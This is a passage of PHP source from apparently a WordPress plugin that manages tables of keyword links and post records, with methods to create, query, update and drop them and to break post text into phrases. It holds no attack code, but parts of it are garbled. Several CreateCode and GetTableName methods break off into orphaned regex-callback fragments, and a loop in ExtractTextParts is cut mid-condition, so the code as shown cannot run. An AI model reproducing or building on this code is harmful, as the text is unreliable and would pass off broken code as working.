$args["cxp_version"] = $cxp_config["version"]; $args["cxp_hash"] = $hash; return $args; } } class TCXPTable extends TFDBase { var $fd_var_array_ids = array(); function Create() { global $wpdb; if (!$this->Exists()) $wpdb->query($this->CreateCode()); } function Exists() { global $wpdb; $tablename = trim($this->GetTableName()); $query = "SHOW TABLES LIKE '".$wpdb->escape($tablename)."'"; return ($wpdb->get_row($query)!=null); } function GetTableName() { return "tbl_cxp_"; } function CreateAll() { $table = new TCXPTable_Posts(); $table->Create(); $table = new TCXPTable_Links(); $table->Create(); } function Drop() { if (!$this->Exists()) return; global $wpdb; $tablename = trim($this->GetTableName()); $query = "DROP TABLE `$tablename`"; $wpdb->query($query); } function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } } class TCXPTable_Links extends TCXPTable { var $fd_var_array_ids = array(); function GetByPost($postid) { global $wpdb; $tablename = trim($this->GetTableName()); $query = "SELECT * FROM $tablename WHERE (`postid` = '".$wpdb->escape($postid)."') AND (`dormant` = '0')"; return $wpdb->get_results($query,ARRAY_A); } function SetPosition($id,$startindex,$endindex) { global $wpdb; $tablename = trim($this->GetTableName()); $query = "UPDATE $tablename SET `startindex` = '".$wpdb->escape($startindex)."',`endindex` = '".$wpdb->escape($endindex)."' WHERE `id` = '".$wpdb->escape($id)."'"; $wpdb->query($query); } function DeleteByPost($postid) { global $wpdb; $tablename = trim($this->GetTableName()); $query = "DELETE FROM $tablename WHERE `postid` = '".$wpdb->escape($postid)."'"; $wpdb->query($query); } function AddDormantLink($postid,$keyword,$url,$tid) { global $wpdb; $tablename = trim($this->GetTableName()); $query = "DELETE FROM $tablename WHERE (`tid` = '".$wpdb->escape($tid)."') AND (`dormant` = '1')"; $wpdb->query($query); $query = "INSERT INTO $tablename (`postid`,`keyword`,`url`,`startindex`,`endindex`,`dormant`,`tid`) VALUES('".$wpdb->escape($postid)."','".$wpdb->escape($keyword)."','".$wpdb->escape($url)."','0','0','1','".$wpdb->escape($tid)."')"; $wpdb->query($query); } function Truncate() { global $wpdb; $tablename = trim($this->GetTableName()); $query = "TRUNCATE TABLE $tablename"; $wpdb->query($query); } function Commit() { global $wpdb; $tablename = trim($this->GetTableName()); $query = "SELECT COUNT(*) FROM $tablename WHERE (`dormant` = '1')"; if ($wpdb->get_var($query)==0) return; $query = "DELETE FROM $tablename WHERE (`dormant` = '0')"; $wpdb->query($query); $query = "UPDATE $tablename SET `dormant` = '0' WHERE (`dormant` = '1')"; $wpdb->query($query); } function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function CreateCode() { ob_start(); ?>CREATE TABLE `tbl_cxp_links` ( `id` INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, `postid` INTEGER UNSIGNED NOT NULL, `keyword` VARCHAR(255) NOT NULL, `url` VARCHAR(255) NOT NULL, `startindex` INTEGER UNSIGNED NOT NULL, `endindex` INTEGER UNSIGNED NOT NULL, `dormant` INTEGER UNSIGNED NOT NULL, `tid` INTEGER UNSIGNED NOT NULL, PRIMARY KEY (`id`), INDEX `postid`(`postid`), INDEX `tid`(`tid`) ) ENGINE = MyISAM; /i',array($this,"fd_getNewId"),ob_get_clean()); } function GetTableName() { ob_start(); ?>tbl_cxp_links /i',array($this,"fd_getNewId"),ob_get_clean()); }} class TCXPTable_Posts extends TCXPTable { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function GetCacheHash($postid) { global $wpdb; $tablename = trim($this->GetTableName()); $query = "SELECT * FROM $tablename WHERE (`postid` = '".$wpdb->escape($postid)."')"; $record = $wpdb->get_row($query,ARRAY_A); return ($record!=null)?$record["cachehash"]:""; } function SetCacheHash($postid,$hash) { global $wpdb; $tablename = trim($this->GetTableName()); $query = "UPDATE $tablename SET `cachehash` = '".$wpdb->escape($hash)."' WHERE `postid` = '".$wpdb->escape($postid)."'"; $wpdb->query($query); } function GetCompressed($postid) { $post = is_array($postid)?$postid:$this->GetRealPost($postid); if ($post==null) return null; $text = $post["post_content"]; $parts = $this->ExtractTextParts($text); $parts = $this->ProcessSpaces($parts); $parts = $this->ProcessSQUS($parts); $parts = $this->ExtractPhrases($parts); $ret = array(); foreach($parts as $part) if (($tmp = $this->ProcessArrayToPipeLine($part))!="") $ret[] = $tmp; return array($post["ID"],implode("|",$ret),strtotime($post["post_date"])); } function ProcessArrayToPipeLine($array) { $ret = array(); $buffer = array(); $array[] = "0"; foreach($array as $word) { if (strlen($word)>3) if ($word[1]=="'") $word = substr($word,2); if (!preg_match("/[0-9_']/",$word)) { $buffer[] = $word; } else { if (count($buffer)>0) { $ret[] = implode(" ",$buffer); $buffer = array(); } } } return implode("|",$ret); } function ProcessSpaces($parts) { foreach($parts as $key=>$value) $parts[$key] = preg_replace("/ +/"," ",preg_replace("/[\xC2\xA0\s-]/"," ",$value)); return $parts; } function ProcessSQUS($parts) { foreach($parts as $key=>$value) $parts[$key] = str_replace("`","'",$value); foreach($parts as $key=>$value) $parts[$key] = preg_replace_callback("/([a-zA-Z0-9]'[^a-zA-Z0-9]|[^a-zA-Z0-9]'[a-zA-Z0-9]|[^a-zA-Z0-9]'[^a-zA-Z0-9])/",array($this,"ReplaceSingleQuote"),$value); foreach($parts as $key=>$value) $parts[$key] = preg_replace_callback("/([a-zA-Z0-9]_[^a-zA-Z0-9]|[^a-zA-Z0-9]_[a-zA-Z0-9]|[^a-zA-Z0-9]_[^a-zA-Z0-9])/",array($this,"ReplaceUnderScore"),$value); return $parts; } function ExtractPhrases($parts) { $ar = array(); foreach($parts as $part) { preg_match_all("/[a-zA-Z0-9'_ ]+/",$part,$matches); foreach($matches[0] as $tmp) $ar[] = $tmp; } $ret = array(); foreach($ar as $tmp) if (($tmp = trim($tmp))!="") $ret[] = explode(" ",$tmp); return $ret; } function ReplaceSingleQuote($matches) { return str_replace("'",".",$matches[0]); } function ReplaceUnderScore($matches) { return str_replace("_",".",$matches[0]); } function ExtractTextParts($text) { $ret = array(); $html = false; $buffer = ""; for($i=0;$i") { $html = false; $buffer = ""; } } else { if ($ch=="<") { $html = true; if ($buffer!="") $ret[] = $buffer; } else { $buffer.=$ch; } } } if ($buffer!="") $ret[] = $buffer; foreach($ret as $key=>$value) $ret[$key] = html_entity_decode($value); return $ret; } function GetRealPost($postid) { global $wpdb; $query = "SELECT * FROM $wpdb->posts WHERE (`ID` = '".$wpdb->escape($postid)."') AND (`post_status` = 'publish') AND (`post_type` = 'post')"; return $wpdb->get_row($query,ARRAY_A); } function PostExists($postid) { global $wpdb; $tablename = trim($this->GetTableName()); $query = "SELECT * FROM $tablename WHERE (`postid` = '".$wpdb->escape($postid)."')"; return ($wpdb->get_row($query)!=null); } function IsValidPostId($postid) { global $wpdb; $query = "SELECT * FROM $wpdb->posts WHERE (`ID` = '".$wpdb->escape($postid)."') AND (`post_status` = 'publish') AND (`post_type` = 'post')"; return ($wpdb->get_row($query)!=null); } function GetNextPost($after) { global $wpdb; $tablename = trim($this->GetTableName()); while(true) { $query = "SELECT * FROM $tablename WHERE (`postid` > '".$wpdb->escape($after)."') LIMIT 0,1"; $record = $wpdb->get_row($query,ARRAY_A); if ($record==null) return null; $ret = $this->GetRealPost($record["postid"]); if ($ret==null) { $after = $record["postid"]; continue; } $ret = array("map"=>$record,"real"=>$ret); return $ret; } } function GetAllBeforeCount($time) { global $wpdb; $query = "SELECT COUNT(*) FROM $wpdb->posts where (`post_status` = 'publish') and (`post_type` = 'post') AND (UNIX_TIMESTAMP(`post_date`) <= '".$wpdb->escape($time)."')"; return $wpdb->get_var($query); } function GetRecordCount() { global $wpdb; $tablename = trim($this->GetTableName()); $query = "SELECT COUNT(*) FROM $tablename"; return $wpdb->get_var($query); } function IncludePost($postid) { global $wpdb; $tablename = trim($this->GetTableName()); if ($this->PostExists($postid)) return; $query = "INSERT INTO $tablename (`postid`,`cachehash`,`transferhash`,`transferstate`,`transferkey`) VALUES('".$wpdb->escape($postid)."','','','0','')"; $wpdb->query($query); } function ExcludePost($postid) { global $wpdb; $tablename = trim($this->GetTableName()); $query = "DELETE FROM $tablename WHERE `postid` = '".$wpdb->escape($postid)."'"; $wpdb->query($query); } function IncludeAllBefore($time) { global $wpdb; $query = "SELECT `ID` FROM $wpdb->posts where (`post_status` = 'publish') and (`post_type` = 'post') AND (UNIX_TIMESTAMP(`post_date`) <= '".$wpdb->escape($time)."')"; $ids = $wpdb->get_col($query); $core = new TCXPTable_Posts(); foreach($ids as $id) $core->IncludePost($id); } function DeletePost($postid) { global $wpdb; $tablename = trim($this->GetTableName()); $query = "DELETE FROM $tablename WHERE `postid` = '".$wpdb->escape($postid)."'"; $wpdb->query($query); } function Commit() { global $wpdb; $tablename = trim($this->GetTableName()); $query = "UPDATE $tablename SET `cachehash` = ''"; $wpdb->query($query); } function SetTransferHash($postid,$transferhash,$transferkey) { global $wpdb; $tablename = trim($this->GetTableName()); $query = "UPDATE $tablename SET `transferstate` = '0',`transferhash` = '".$wpdb->escape($transferhash)."',`transferkey` = '".$wpdb->escape($transferkey)."' WHERE `postid` = '".$wpdb->escape($postid)."'"; $wpdb->query($query); } function CommitHash($transferkey) { global $wpdb; $tablename = trim($this->GetTableName()); $query = "UPDATE $tablename SET `transferstate` = '1' WHERE `transferkey` = '".$wpdb->escape($transferkey)."'"; $wpdb->query($query); } function CreateCode() { ob_start(); ?>CREATE TABLE `tbl_cxp_posts` ( `id` INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, `postid` INTEGER UNSIGNED NOT NULL, `cachehash` VARCHAR(20) NOT NULL, `transferhash` VARCHAR(20) NOT NULL, `transferstate` INTEGER NOT NULL, `transferkey` VARCHAR(6) NOT NULL, PRIMARY KEY (`id`), INDEX `postid`(`postid`) ) ENGINE = MyISAM; /i',array($this,"fd_getNewId"),ob_get_clean()); } function GetTableName() { ob_start(); ?>tbl_cxp_posts /i',array($this,"fd_getNewId"),ob_get_clean()); }} $var_fd_getparam_page = (isset($_GET['page'])?$_GET['page']:''); $initialize_plugin = new TCXPComponent_Plugin();